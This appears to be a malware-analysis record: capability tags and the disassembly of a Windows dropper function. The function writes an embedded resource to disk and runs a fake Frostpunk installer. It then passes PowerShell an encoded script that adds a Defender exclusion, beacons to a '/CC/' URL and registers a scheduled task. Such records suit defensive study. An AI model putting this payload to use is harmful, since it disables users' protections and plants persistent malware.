Function at 0x1400013f0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
jne 0x140001423
lea eax, [rbx + 0x59]
jmp 0x140001514
mov edx, 0x90
mov qword [rsp + 0xb0], rdi
mov r8d, 0xa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1400014d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rax, qword [0x140006038]
lea rcx, [0x140006038]
call qword [rax + 0x10]
cmp qword [rsp + 0x60], 0x10
lea rdx, [rsp + 0x48]
cmovae rdx, qword [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400014c9
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a0c
mov eax, 1
jmp 0x14000150c
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1400014e8
mov eax, 2
jmp 0x14000150c
mov rcx, rax
mov qword [rsp + 0xa8], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
jne 0x14000152d
lea eax, [rsi + 3]
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400019b0
add rsp, 0x90
pop rbx
ret
mov rdx, rdi
mov qword [rsp + 0xa0], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor ebp, ebp
lea rcx, [0x1400034f0]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov edi, eax
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [0x1400034d0]
mov dword [rsp + 0x28], 5
lea r8, str.setup_frostpunk_1.6.1_51791_59537__42472_a.exe
mov qword [rsp + 0x20], rbp
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJAAoACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACkAXABNAGEAbABVAG4AZgAiAAoAIAAgACAAIAAgACAAIAAgACQAdQByAGwAPQAiAGgAdAB0AHAAOgAvAC8AbABvAGMAYQBsAGgAbwBzAHQALwBDAEMALwBDAC8AaABpAC4AcABoAHAAPwBpAGQAPQAiAAoAIAAgACAAIAAgACAAIAAgACQAcgBhAG4AZABvAG0ASQBEAD0ALQBqAG8AaQBuACAAKAAoADYANQAuAC4AOQAwACkAIAArACAAKAA5ADcALgAuADEAMgAyACkAKwAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQ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hAGwAIAAkAHAAcgBpAG4AYwBpAHAAYQBsACAALQBUAGEAcwBrAFAAYQB0AGgAIAAiAFwAIgAgAC0AUwBlAHQAdABpAG4AZwAgACQAUwBlAHQAdABpAG4AZwBzAA
lea rcx, [rsp + 0x48]
call fcn.140001640
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.1400017e0
lea rcx, [rsp + 0x68]
call fcn.140001630
mov r9, rax
mov dword [rsp + 0x28], ebp
lea r8, str.powershell
mov qword [rsp + 0x20], rbp
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rbp, qword [rsp + 0xa0]
int3